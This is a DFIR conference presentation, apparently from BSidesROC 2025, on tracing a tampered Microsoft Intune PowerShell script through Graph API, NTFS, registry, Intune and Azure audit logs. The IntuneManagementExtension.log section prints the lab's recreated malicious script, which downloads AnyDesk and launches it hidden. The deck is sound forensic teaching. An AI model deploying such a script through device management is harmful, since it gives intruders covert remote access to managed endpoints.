


Investigating a malicious script in Microsoft Intune: A DFIR case study

BSidesROC 2025



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Forensic analysis

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Research

Summary



whoami



- - whoami
 - Dennis Labossiere
- experience.ps1 --job --degrees All --years --certs All
 - Director within the KPMG Cyber Threat Management practice
 - BS degree from Utica College (n/k/a Utica University) in cybercrime forensics and investigations
 - MS degree from Utica College (n/k/a Utica University) in cybersecurity, computer forensics, and cyber operations
 - Ten years of DFIR experience
 - SANS GCFE and GCFA
 - SentinelOne Incident Response Engineer
 - MITRE ATT&CK Defender CTI and Adversary Emulation
- cyber_passions.ps1 --all
 - Ransomware investigations
 - · Threat hunting and detection engineering
- personal.ps1 --all
 - · Husband and father
 - · Former collegiate baseball player
 - Glamor camper (camping with electric hookup) who loves to fish and cook





We all have something to learn (e.g., defensive measures, new analytic technique, and new data source). Reminder to leverage all available telemetry:

 Think about what data may be available aside from host-based or cloudbased forensics Share a story from the trenches.

Maybe a new detection can be created based on events in this presentation.



Caveats

- I built a test environment for this presentation.
- It contained one Windows 10 virtual desktop, which was joined to Microsoft Entra ID and managed by Intune.

I used free trials versions for Microsoft Entra ID (P2) and Intune (release 2401).



1 Agenda

Agenda

redactions or implicit changes

Provide a brief background on a real intrusion that inspired this research and presentation.

Baseline Microsoft Intune using a newly established testing domain.

Describe the methodology and available telemetry so you can perform a similar investigation.

Recreate the attack in a lab environment and forensically analyze the attack that inspired this research and presentation.

List the tools used to analyze the attack.

Provide the research that assisted with this presentation.



domains.

NOTE: Where appropriate,

were made to protect credentials, secrets and/or 03

05

06

Incident background

At approximately 00:33 UTC on June 10, 2023, KPMG responded to an incident where a remote attacker successfully gained unauthorized access into a client's Azure tenant.

Upon initial investigation, it was discovered that the remote attacker obtained access to a highly privileged account.

 This remote attacker was likely a part of the group known as Scattered Spider (aka Octo Tempest, Starfraud, UNC3944, and many other monikers). On June 13, 2023, analysis indicated that a script within Microsoft Intune—named Teams Firewall updater—was modified by the remote attacker.

The underlying PowerShell script was named Update-TeamsFWRules.ps1. The script was modified to download and install an application that provided remote access.

 This remote access was further leveraged and used to download additional tools.




2

Baseline Intune

Azure user details

The Object ID value can be used to track the user responsible.





Baseline Intune

By default, Intune does not have any preexisting scripts.


Two benign scripts were created:


- The first script created a directory on the desktop of user1 with the name of Test.
- The second script created a directory on the desktop of user2 with the name of Test.

Specific script properties were noted:

- Name of the script
- ScriptID (from the URL or Graph API)
- PowerShell script name
- Run as logged on user option
- Included and excluded groups

Note: By default, the end point will check for policy updates every 60 minutes.









Baseline Intune - Microsoft Graph API


Send a POST to https://login.microsoft.com/<AZURE TENANT ID>/oauth2/v2.0/token to obtain a Bearer token.



















Baseline Intune - Microsoft Graph API - Bearer Token received

After providing the required key value pairs, a Bearer token is provided.







Baseline Intune - Microsoft Graph API (continued)

Send a GET to


https://graph.microsoft.com/beta/deviceManagement/deviceManagement Scripts to obtain the Intune script details.















Baseline Intune - Microsoft Graph API (continued)

Send a GET to

https://graph.microsoft.com/beta/deviceManagement/deviceManagement/deviceManagementScripts/<ScriptID> to obtain additional script details plus the Base64 encoded contents of the underlying PowerShell script.











Baseline Intune – Microsoft Graph API – Decoding script contents

Using CyberChef we can decode the Base64 contents with ease.





Baseline Intune - Results on the end point






Forensic analysis

What happens to modified scripts?


- When a script is modified, the Last modified date will be updated:
 - The scriptID does not change even if the script contents are completely altered.






Forensic analysis - Microsoft Graph API


The script was modified, and leveraging the API, we can see the modification time and updated PowerShell script contents.















Forensic analysis - Decoding script contents

Using CyberChef, we can decode the Base64 contents with ease.





Forensic analysis - Results on the end point





Forensic analysis - \$UsnJrnI/\$J

- Provides the most insight into file creation, modification, and deletion events:
 - Able to record the PowerShell file and policy timeout, error, and output files

Date/Time (UTC)	Artifact	√T χ	☑ Description	Extra
2024-02-17 03:46:57.546	Journal [USN]	x	[root]\Program Files (x86)\Microsoft Intune Management Extension\Policies\Scripts\63375ffe-f00f-46f5-89e7-6666c6b3863e_ab85f253-8daf-4929-8e17-9e15ea418d87.ps1	USN_REASON_FILE_CREATE
2024-02-17 03:46:58.577	Journal [USN]	x	[root]\Program Files (x86)\Microsoft Intune Management Extension\Policies\Results\63375ffe-f00f-46f5-89e7-6666c6b3863e_ab85f253-8daf-4929-8e17-9e15ea418d87.timeou	USN_REASON_FILE_CREATE
2024-02-17 03:46:58.577	Journal [USN]	x	[root]\Program Files (x86)\Microsoft Intune Management Extension\Policies\Results\63375ffe-f00f-46f5-89e7-6666c6b3863e_ab85f253-8daf-4929-8e17-9e15ea418d87.error	USN_REASON_FILE_CREATE
2024-02-17 03:46:58.577	Journal [USN]	x	[root]\Program Files (x86)\Microsoft Intune Management Extension\Policies\Results\63375ffe-f00f-46f5-89e7-6666c6b3863e_ab85f253-8daf-4929-8e17-9e15ea418d87.output	USN_REASON_FILE_CREATE
2024-02-17 03:47:01.046	Journal [USN]	x	[root]\Users\DennisLabossiere\Desktop\Test\a.exe	USN_REASON_FILE_CREATE
2024-02-17 03:47:04.843	Journal [USN]	x	[root]\Users\DennisLabossiere\Desktop\Test\a.exe	USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
2024-02-17 03:47:54.203	Journal [USN]	x	[root]\Program Files (x86)\Microsoft Intune Management Extension\Policies\Results\63375ffe-f00f-46f5-89e7-6666c6b3863e_ab85f253-8daf-4929-8e17-9e15ea418d87.output	USN_REASON_CLOSE USN_REASON_FILE_DELETE
2024-02-17 03:47:54.203	Journal [USN]	x	[root]\Program Files (x86)\Microsoft Intune Management Extension\Policies\Results\63375ffe-f00f-46f5-89e7-6666c6b3863e_ab85f253-8daf-4929-8e17-9e15ea418d87.error	USN_REASON_CLOSE USN_REASON_FILE_DELETE
2024-02-17 03:47:54.203	Journal [USN]	x	[root]\Program Files (x86)\Microsoft Intune Management Extension\Policies\Scripts\63375ffe-f00f-46f5-89e7-6666c6b3863e_ab85f253-8daf-4929-8e17-9e15ea418d87.ps1	USN_REASON_CLOSE USN_REASON_FILE_DELETE
2024-02-17 03:47:54.203	Journal [USN]	x	[root]\Program Files (x86)\Microsoft Intune Management Extension\Policies\Results\63375ffe-f00f-46f5-89e7-6666c6b3863e_ab85f253-8daf-4929-8e17-9e15ea418d87.timeou	USN_REASON_CLOSE USN_REASON_FILE_DELETE
2024-02-17 03:47:54.733	Journal [USN]	x	[root]\Users\DennisLabossiere\AppData\Roaming\AnyDesk	USN_REASON_FILE_CREATE
2024-02-17 03:47:54.733	Journal [USN]	x	[root]\Users\DennisLabossiere\AppData\Roaming\AnyDesk\ad.trace	USN_REASON_FILE_CREATE
2024-02-17 03:47:54.765	Journal [USN]	x	[root]\Users\DennisLabossiere\AppData\Roaming\AnyDesk\user.conf	USN_REASON_FILE_CREATE
2024-02-17 03:47:56.514	Journal [USN]	x	[root]\Users\DennisLabossiere\AppData\Roaming\AnyDesk\service.conf	USN_REASON_FILE_CREATE
2024-02-17 03:47:56.514	Journal [USN]	x	[root]\Users\DennisLabossiere\AppData\Roaming\AnyDesk\system.conf	USN_REASON_FILE_CREATE
2024-02-17 03:47:58.171	Journal [USN]	x	[root]\Users\DennisLabossiere\AppData\Roaming\AnyDesk\global_cache	USN_REASON_FILE_CREATE
2024-02-17 03:48:04.077	Journal [USN]	x	[root]\Windows\Prefetch\A.EXE-DDD0EF4F.pf	USN_REASON_FILE_CREATE



Forensic analysis - \$MFT

- Like the \$J, the \$MFT records file creation, modification, and access times:
 - Does not show the creation and/or deletion of the PowerShell file and policy timeout, error, and output files.
- Unlike the \$J, the \$MFT shows file sizes.

Date/Time (UTC)	Artifact	x J	Description	Extra	¥
2024-02-17 03:47:01.045	MFT	x	[root]\Users\DennisLabossiere\Desktop\Test\a.exe	status: allocated; size: 5218304	
2024-02-17 03:47:04.811	MFT	x	[root]\Users\DennisLabossiere\Desktop\Test\a.exe	status: allocated; size: 5218304	
2024-02-17 03:47:53.842	MFT	x	[root]\Users\DennisLabossiere\Desktop\Test\a.exe	status: allocated; size: 5218304	
2024-02-17 03:47:54.733	MFT	x	[root]\Users\DennisLabossiere\AppData\Roaming\AnyDesk	status: allocated; size: 0	
2024-02-17 03:47:54.733	MFT	x	[root]\Users\DennisLabossiere\AppData\Roaming\AnyDesk\ad.trace	status: allocated; size: 40949	
2024-02-17 03:47:54.764	MFT	x	[root]\Users\DennisLabossiere\AppData\Roaming\AnyDesk\user.conf	status: allocated; size: 7208	



Forensic analysis - PowerShell event logs

- Indicates PowerShell is running
- May show the content of the script(s):
 - Depends on logging policy

Date/Time (UTC)	Artifact	Ψ, X	T Description	Extra
2024-02-17 03:46:58.991	EventLog	x	PowerShell console is starting up	40961/Microsoft-Windows-PowerShell/Operational/Microsoft-Windows-PowerS
2024-02-17 03:46:59.358	EventLog	x	Data.0: Registry; Data.1: Started; Data.2: ProviderName=RegistryNewProviderState=StartedSequenceNumber=1HostName=ConsoleHostHostVersion=5.1.19041.3996HostId=a3	8 600/Windows PowerShell/PowerShell
2024-02-17 03:46:59.390	EventLog	x	Data.0: Available; Data.1: None; Data.2: NewEngineState=AvailablePreviousEngineState=NoneSequenceNumber=13HostName=ConsoleHostHostVersion=5.1.19041.3996Host	d 400/Windows PowerShell/PowerShell
2024-02-17 03:47:53.890	EventLog	x	Data.0: Stopped; Data.1: Available; Data.2: NewEngineState=StoppedPreviousEngineState=AvailableSequenceNumber=15HostName=ConsoleHostVersion=5.1.19041.395	6 403/Windows PowerShell/PowerShell





Forensic analysis - Registry - Test Intune script


	Value Name	Value Type	Data	Value Slack	Is Deleted	Data Record Reallocated
P	я∎с	RBC	H ■C	R C		
	DownloadCount	RegDword	1			
	Result	RegSz	Success	62-62-77-65		
	LastUpdatedTimeUtc	RegSz	2/9/2024 10:22:51 PM	3D-01		
	PolicyHash	RegSz	seVaTcpVD8fIpTlaqaa1Ux4ZP38HwvQIpNSl5tup9cc=	00-00		
-	ResultDetails	RegSz	{"Version": 1, "SigningCode": 649, "EncryptionCode": 633, "SigningCode": 649, "EncryptionCode": 649, "Encr	g		
	InternalVersion	RegDword	1			
	ErrorCode	RegDword	0			
	TargetType	RegSz	User	3D-01		
	RunAsAccount	RegSz	User	00-00		

HKLM\SOFTWARE\Microsoft\IntuneManagementExtension\Policies\63375ffe-f00f-46f5-89e7-6666c6b3863e 5fa26a93-5433-4e4e-aedf-f3ee6c7a1bc4

Type viewer	Binary viewer
Value name	ResultDetails
Value type	RegSz
Value	\{"Version": 1, "SigningCode":649, "EncryptionCode":633, "SigningMsg": "(Success) AccountId: 2e872dea-b8ab-4f06-8448-ded99e97e22d, PolicyId: 5fa26a93-5433-4e4e-aedf-f3ee6c7a 1bc4, Type: 1, Enforce: Enforcement 2. \[\text{OSVersion: 10.0. 19045, AgentVersion: 1.75. 102.0. ", "EncryptMsg": "run in legacy mode", "ExecutionMsg": "\rangle \rangle



Forensic analysis - Registry - Modified Intune script





Forensic analysis – Intune-specific logs

C:\Program Files (x86)\Microsoft Intune Management Extension\Policies\Scripts\

- Contains a PowerShell script that is downloaded then executed from Intune:
 - This script is deleted after a successful push from Intune to the endpoint
 - The PS1 file the \$J recorded

C:\Program Files (x86)\Microsoft Intune Management Extension\Policies\Results\

- Contains files that record the results of the script executions:
 - These files are also deleted after a successful execution of the PowerShell script (even if the script itself errors out)
 - The.error,.output, and.timeout files the \$J recorded

C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\

- Contains both the AgentExecutor.log and IntuneManagementExtension.log files:
 - Unclear* when either log file records the entire decoded script content and/or output



^{*} Believed that AgentExecutor.log records the results of stdout, whereas IntuneManagementExtension.log records the contents of the PS1 file

Forensic analysis - AgentExecutor.log

Below is a snippet from the AgentExecutor.log file. The times within the log are local system time.

Note: The two GUIDs (Azure user Object ID and Intune scriptID)

```
C: > Users > dlabossiere > Documents > KPMG_Trainings > Presentations > Intune > Logs > 	≡ AgentExecutor.log
      <![LOG[cmd line for running powershell is -NoProfile -executionPolicy bypass -file "C:\Program Files (x86)\Microsoft Intune Management</pre>
      Extension\Policies\Scripts 63375ffe-f00f-46f5-89e7-6666c6b3863e ab85f253-8daf-4929-8e17-9e15ea418d87 ps1" 1L0G1!><time="17:22:49.8687753" date="2-9-2024"
      component="AgentExecutor" context="" type="1" thread="1" file="">
 88 <![LOG[PowerShell path is C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe]LOG]!><time="17:22:49.8687753" date="2-9-2024" component="AgentExecutor" context="" type="1"
      thread="1" file="">
 89 <![LOG[[Executor] created powershell with process id 10396]LOG]!><time="17:22:49.8687753" date="2-9-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
 90 <![LOG[Powershell exit code is 0]LOG]!><time="17:22:50.9468878" date="2-9-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
 91 <![LOG[lenth of out=427]LOG]!><time="17:22:50.9468878" date="2-9-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
 92 <![LOG[lenth of error=2]LOG]!><time="17:22:50.9468878" date="2-9-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
     <![LOG[error from script =</pre>
      [LOG]!><time="17:22:50.9468878" date="2-9-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
      <![LOG[Powershell script is successfully executed.]LOG]!><time="17:22:50.9468878" date="2-9-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
 96 ✓ <![LOG[write output done. output =
          Directory: C:\Users\DennisLabossiere\Desktop
      Mode
                           LastWriteTime
                                                 Length Name
                      2/9/2024 5:22 PM
                                                         Test
```



Forensic analysis - IntuneManagementExtension.log

A snippet from the IntuneManagementExtension.log file

Note: The two GUIDs (Azure user Object ID and Intune scriptID)

In this snippet, the PolicyId (aka scriptID), the PolicyHash (from the Registry), and the PolicyBody (plain text of the script contents) are logged.


```
{"AccountId":"2e872dea-b8ab-4f06-8448-ded99e97e22d", "PolicyId":"ab85f253-8daf-4929-8e17-9e15ea418d87", "PolicyType":1, "DocumentSchemaVersion":"1.0", "PolicyHash":"0FKCQCQPtedVWDdZqhs/QslRABNFxMnbHQd9SQnWZ7A=", "PolicyBody":"$url = \"https://download.anydesk.com/AnyDesk.exe\"\r\n$outfile = \"C:\\Users\\DennisLabossiere\\Desktop\\Test\\a.exe\"\r\nInvoke-WebRequest -Uri $url -OutFile $outfile\r\nStart-Process -FilePath \"C:\\Users\\DennisLabossiere\\Desktop\\Test\\a.exe\" -WindowStyle Hidden", "EncryptedPolicyBody":null, "PolicyBodySize":null, "PolicyScriptParameters":null,
```




Forensic analysis - Azure logging

Microsoft Entra ID Sign-in Log

- Service Principal sign-ins detail application activity (Graph API):
 - The Service principal ID is the Object ID from the Enterprise Application pane.
 - The Credential key ID is the Secret ID from the Registered Application pane.
 - The Resource service principal ID tied back to GraphAggregatorService (aka Microsoft Graph).










What happens to modified scripts?

If User B modifies a script created by User A, then the Intune audit log will log this activity. However, on the endpoint, it will still look as though User A executed the script:


• Microsoft logs a change to an Intune script as patchDeviceManagementScript.

Send a GET to https://graph.microsoft.com/beta/deviceManagement/auditEvents to obtain Intune audit log events:


• Look at the DeviceConfiguration category.














Decoding script contents (continued)

Using CyberChef, we can decode the Base64 contents with ease.





Forensic analysis - Intune logging

Microsoft Intune Audit Log:

- Patch DeviceManagementScript denotes a modified script.
- Upn is the user that performed the modification.
- ObjectID is the scriptID for the modified script.

Activity details: Audit log



Activity

Date: Wed, 28 Feb 2024 01:38:02 GMT
Name: Patch DeviceManagementScript

CorrelationID: 462f8153-ab11-468f-b78e-7d8fcaa08b4e

Category: DeviceConfiguration Component: DeviceConfiguration

Activity Status

Status: Success

Operation Type: Patch

Activity Type: patchDeviceManagementScript

DeviceManagementScript

Initiated By (Actor)

Type: ItPro

Upn: testuser@dlintunetesting.onmicrosoft.com

Application: Microsoft Intune portal extension

ApplicationID: 5926fc8e-304e-4f59-8bed-58ca97cc39a4

Scope Tag(s)

Tag(s):

Target(s)

Targe

 ${\it Type: Microsoft.} Management. Services. Api. Device Management Script$

Name:

ObjectID: ab85f253-8daf-4929-8e17-9e15ea418d87

Modified Properties

Property: DeviceManagementAPIVersion

New Value: 5023-12-26

Old Value:



```
"id": "fe07ee8e-32df-4cbe-a633-04830dca4996",
"displayName": "Patch DeviceManagementScript",
"componentName": "DeviceConfiguration",
"activity": null,
"activityDateTime": "2024-02-28T01:38:02.9969549Z",
"activityType": "patchDeviceManagementScript DeviceManagementScript",
"activityOperationType": "Patch",
"correlationId": "462f8153-ab11-468f-b78e-7d8fcaa08b4e",
"category": "DeviceConfiguration",
"actor": {
   "type": "ItPro",
   "auditActorType": "ItPro",
    "applicationId": "5926fc8e-304e-4f59-8bed-58ca97cc39a4",
   "applicationDisplayName": "Microsoft Intune portal extension"
   "userPrincipalName": "testuser@dlintunetesting.onmicrosoft.com",
    "servicePrincipalName": null,
    "ipAddress": null,
   "userId": "b11d2f68-c831-4c2f-bd98-65740f53b253",
   "remoteTenantId": null,
    "remoteUserId": null,
   "userRoleScopeTags": []
"resources": [
        "displayName": null,
        "type": "Microsoft.Management.Services.Api.DeviceManagementScript",
"auditResourceType": "Microsoft.Management.Services.Api.DeviceManagementScript",
        "resourceId": "ab85f253-8daf-4929-8e17-9e15ea418d87"
        "modifiedProperties": [
                "displayName": "DeviceManagementAPIVersion",
                "oldValue": null,
                "newValue": "5023-12-26"
```

Intune audit logs

Graph API JSON results

Activity details: Audit log

×

Activity

Date: Wed, 28 Feb 2024 01:38:02 GMT Name: Patch DeviceManagementScript

CorrelationID: 462f8153-ab11-468f-b78e-7d8fcaa08b4e

Category: DeviceConfiguration Component: DeviceConfiguration

Activity Status

Status: Success

Operation Type: Patch

Activity Type: patchDeviceManagementScript

DeviceManagementScript

Initiated By (Actor)

Type: ItPro

Upn: testuser@dlintunetesting.onmicrosoft.com

Application: Microsoft Intune portal extension

ApplicationID: 5926fc8e-304e-4f59-8bed-58ca97cc39a4

Scope Tag(s)

Tag(s):

Target(s)

Target

Type: Microsoft.Management.Services.Api.DeviceManagementScript

Name

ObjectID: ab85f253-8daf-4929-8e17-9e15ea418d87

Modified Properties

Property: DeviceManagementAPIVersion

New Value: 5023-12-26

Old Value:



Forensic analysis - AgentExecutor.log (continued)

Another snippet from the AgentExecutor.log file again detailing the results of the script. Remember: User B modified the script, yet this event is still tied to User A

```
<![LOG[C:\Program Files (x86)\Microsoft Intune Management Extension\Policies\Scripts\63375ffe-f00f-46f5-89e7-6666c6b3863e_ab85f253-8daf-4929-8e17-9e15ea418d87.ps1 LOG]!><time="20:53:30.4436572" date="2-27-2024"
 component="AgentExecutor" context="" type="1" thread="1" file="">
<![LOG[C:\Program Files (x86)\Microsoft Intune Management Extension\Policies\Results\63375ffe-f00f-46f5-89e7-6666c6b3863e_ab85f253-8daf-4929-8e17-9e15ea418d87.output]LOG]!><time="20:53:30.4436572" date="2-27-2024"
component="AgentExecutor" context="" type="1" thread="1" file="">
<![LOG[C:\Program Files (x86)\Microsoft Intune Management Extension\Policies\Results\63375ffe-f00f-46f5-89e7-6666c6b3863e ab85f253-8daf-4929-8e17-9e15ea418d87.error]LOG]!><time="20:53:30.4436572" date="2-27-2024"
component="AgentExecutor" context="" type="1" thread="1" file="">
<![LOG[C:\Program Files (x86)\Microsoft Intune Management Extension\Policies\Results\63375ffe-f00f-46f5-89e7-6666c6b3863e ab85f253-8daf-4929-8e17-9e15ea418d87.timeout]LOG]!><time="20:53:30.4436572" date="2-27-2024" date="2-27-2
component="AgentExecutor" context="" type="1" thread="1" file="">
 <![LOG[Prepare to run Powershell Script ..|LOG]!><time="20:53:30.4436572" date="2-27-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
<![LOG[scriptParams is ]LOG]!><time="20:53:30.4436572" date="2-27-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
<![LOG[cmd line for running powershell is -NoProfile -executionPolicy bypass -file "C:\Program Files (x86)\Microsoft Intune Management
 Extension\Policies\Scripts\63375ffe-f00f-46f5-89e7-6666c6b3863e ab85f253-8daf-4929-8e17-9e15ea418d87.ps1" |LOG]!><time="20:53:30.4436572" date="2-27-2024" component="AgentExecutor" context="" type="1" thread="1"
file="">
<![LOG[PowerShell path is C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe]LOG]!><time="20:53:30.4436572" date="2-27-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
 <![LOG[[Executor] created powershell with process id 9656]LOG]!><time="20:53:30.4751151" date="2-27-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
<![LOG[Powershell exit code is 0]LOG]!><time="20:53:32.7407835" date="2-27-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
 <![LOG[lenth of out=432]LOG]!><time="20:53:32.7407835" date="2-27-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
<![LOG[lenth of error=2]LOG]!><time="20:53:32.7407835" date="2-27-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
<![LOG[error from script =
 |LOG|!><time="20:53:32.7407835" date="2-27-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
<![LOG[Powershell script is successfully executed.]LOG]!><time="20:53:32.7407835" date="2-27-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
 <![LOG[write output done. output =
     Directory: C:\Users\DennisLabossiere\Desktop\Test
Mode
                                LastWriteTime
                       2/16/2024 10:47 PM
                                                                 5216584 a.exe
   error =
LOG]!><time="20:53:32.7407835" date="2-27-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
<![LOG[Agent executor completed.]LOG]!><time="20:53:32.7407835" date="2-27-2024" component="AgentExecutor" context="" type="1" thread="1" file="">
```



4 Tools used

Tools and resources

Tools used within this presentation:



KPMG Digital Responder (KDR v4.1.8)



Local copy of CyberChef (v10.5.2)



Eric Zimmerman's Registry Explorer (v1.6.0.0)



https://github.com/dllaboss/ MSFT_Intune_Analysis

- Script
- Registry Explorer bookmark

Resources leveraged to build this presentation:

- Azure Portal
- Intune Management Portal
- Azure Graph API:
 - https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts
 - https://graph.microsoft.com/beta/auditLogs/signins?\$filter=(signInEventTypes/any(t:t+eq+%27servicePrincipal%27)
 - https://graph.microsoft.com/beta/deviceManagement/auditEvents/?\$filter=(category eq 'DeviceConfiguration')



5 Research

Research

Articles and blogs leveraged to build this presentation:



Deep dive Microsoft Intune Management Extension – PowerShell Scripts

(https://oliverkieselbach.com/2017/11/29/deep-dive-microsoft-intune-management-extension-powershell-scripts)

- Oliver Kieselbach



Microsoft Intune securely manages identities, manages apps, and manages devices

(https://learn.microsoft.com/enus/mem/intune/fundamentals/what-is-intune) – **Microsoft Learn**



Step-by-step guide to create a lab and enroll the devices with Intune by using AutoPilot

(https://www.alexandrumarin.com/step-by-step-guide-to-create-a-lab-and-enroll-the-devices-with-intune-by-using-autopilot/)

- Alexandru Marin



Download Intune PowerShell scripts with Graph Explorer

(https://janbakker.tech/download-intune-powershell-scripts-with-graph-explorer/)

- Jan Bakker



Microsoft Sentinel – Custom Data Connector for Microsoft Intune

(https://infosecwriteups.com/microsoft-sentinel-custom-data-connector-for-microsoft-intune-04b19b7e0006)

Usama Saleem



Unable to get Sign Ins for Service Principal using Microsoft Graph API

(https://stackoverflow.com/questions/67302812/unable-to-get-sign-ins-for-service-principal-using-microsoft-graph-api)

- StackOverflow user Minkus



6 Summary

Wrap-up



Provided a brief background of the incident that inspired this presentation.



Detailed how to baseline an Intune environment, pull information from the Graph API, and decode Base64encoded PowerShell scripts.



Analyzed the \$UsnJrnl/\$J and \$MFT, PowerShell event logs, Windows registry hive, specific Intune logs, Azure Service Principal sign-in logs, and Intune audit logs:

 Detailed the connection between Azure, Intune, and forensic artifacts on the endpoint



Provided the tools used for analysis.



Provided the research that assisted with building the test environment and understanding what Intune-specific logging is present on a Windows endpoint and within Azure.



Questions

Thank you



This goes without saying, but I want to give a big shout-out to my wife and family for their support and words of encouragement during this process.

I would like to thank those who worked on the engagement that inspired this presentation. Thank you to the KPMG Cyber Threat Management partners for their blessing and support.

Thank you to my mentors for their guidance and support.

Thank you to the audience and future readers/researchers using this presentation for their research and benefit.







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X: @dlabos

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